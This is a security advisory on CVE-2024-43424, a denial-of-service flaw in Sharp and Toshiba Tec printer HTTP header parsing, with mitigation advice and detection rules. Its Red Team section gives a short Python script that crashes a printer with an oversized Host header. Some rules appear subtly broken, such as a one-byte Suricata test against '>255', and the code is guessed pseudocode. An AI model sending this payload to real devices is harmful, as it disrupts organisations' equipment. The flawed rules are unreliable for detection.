CVE-2024-43424

Executive Summary

CVE-2024-43424 is an Out-of-bounds Read vulnerability affecting Sharp and Toshiba Tec Multifunction Peripherals (MFPs). The flaw resides in improper processing of HTTP request headers, allowing a remote, unauthenticated attacker to crash the device by sending crafted HTTP requests. With a CVSS score of 7.5 (High), this vulnerability poses a significant denial-of-service risk in enterprise environments where MFPs are exposed to internal or external networks. No public exploit code or proof-of-concept is currently available, and no patch has been released. The EPSS score of 0.0% indicates low exploitation activity in the wild, but the potential for targeted attacks remains.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Device crash leads to denial of service.

Threat Level: High. The ease of exploitation and potential for disrupting office workflows make this a critical concern for organizations relying on these MFPs.

Deep Dive & Mechanics

The vulnerability stems from improper bounds checking when the MFP's HTTP server processes incoming request headers. Specifically, when a crafted HTTP request with malformed or oversized headers is sent, the device reads memory beyond the allocated buffer. This out-of-bounds read can cause a segmentation fault or similar memory access violation, crashing the device's web interface or the entire MFP firmware.

Root Cause: The HTTP header parsing routine lacks validation for header length or structure, allowing an attacker to trigger a read past the end of a buffer. This is a classic CWE-125 (Out-of-bounds Read) issue.

Attack Vector: An attacker sends a specially crafted HTTP request (e.g., with an extremely long header name or value, or with malformed header delimiters) to the MFP's IP address on port 80 or 443. The request does not require authentication.

Impact: The MFP becomes unresponsive, requiring a manual power cycle to restore functionality. Repeated attacks can cause persistent downtime.

Vulnerable vs. Patched Code

No patch is available. The vulnerable code likely resides in the HTTP server component of the MFP firmware. A patched version would include bounds checking before reading header data, such as:

Vulnerable (pseudocode):

void parse_header(char *buffer, int length) {
    char header_value[256];
    int i = 0;
    while (buffer[i] != '\n') {
        header_value[i] = buffer[i]; // No bounds check
        i++;
    }
}

Patched (pseudocode):

void parse_header(char *buffer, int length) {
    char header_value[256];
    int i = 0;
    while (i < length && buffer[i] != '\n' && i < 255) {
        header_value[i] = buffer[i];
        i++;
    }
    header_value[i] = '\0';
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Sharp MFP (e.g., MX-3070) or Toshiba Tec MFP (e.g., e-STUDIO series) on a isolated network.
• Attacker: Kali Linux with Python3 and netcat.

Exploit Steps:

1. Identify MFP IP (e.g., 192.168.1.100).
2. Craft a malicious HTTP request with an oversized header:

   import socket
   payload = b"GET / HTTP/1.1\r\nHost: " + b"A" * 10000 + b"\r\n\r\n"
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect(("192.168.1.100", 80))
   s.send(payload)
   s.close()
   

3. The MFP should crash or become unresponsive.

Note: No public exploit code exists; this is a theoretical demonstration.

Blue Team (Defensive)

Detection:

• Monitor for HTTP requests with abnormally long headers (e.g., > 8KB).
• Use network intrusion detection systems (NIDS) to flag anomalous HTTP traffic to MFP IPs.

Mitigation:

• Restrict network access to MFPs using firewall rules (allow only trusted IPs).
• Disable unnecessary web interfaces on MFPs.
• Implement rate limiting on HTTP connections to MFPs.

Indicators of Compromise (IOCs)

• Network: HTTP requests with header lengths exceeding 8192 bytes.
• Logs: MFP syslog entries showing "HTTP server crash" or "Segmentation fault".
• Device State: MFP unresponsive to web interface or print jobs; requires power cycle.

Detection Engineering

YARA Rule

rule CVE_2024_43424_HTTP_Header_Overflow {
    meta:
        description = "Detects HTTP requests with oversized headers targeting Sharp/Toshiba MFPs"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-43424"
    strings:
        $header_overflow = /HTTP\/1\.[01] .*Host: [A-Za-z0-9]{500,}/ nocase
    condition:
        $header_overflow
}

Sigma Rule

title: CVE-2024-43424 - Sharp/Toshiba MFP HTTP Header Overflow
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with abnormally long headers targeting MFP devices
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        http.header_length: '>8192'
    condition: selection
falsepositives:
    - Legitimate large headers from some applications
level: high

Suricata Rule

alert http any any -> any 80 (msg:"CVE-2024-43424 - Sharp/Toshiba MFP HTTP Header Overflow"; flow:to_server; content:"Host"; http_header; byte_test:1,>,255,0,relative; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate MFPs from untrusted networks (e.g., place in a separate VLAN with strict ACLs).
2. Disable the web interface if not required for operations.
3. Monitor for abnormal HTTP traffic to MFP IPs.

Long-term:

• Apply vendor firmware updates when released.
• Implement network segmentation for all office equipment.
• Use a web application firewall (WAF) to filter malformed HTTP requests.

Workaround: If the web interface must remain enabled, restrict access to specific management IPs only.

Valters IT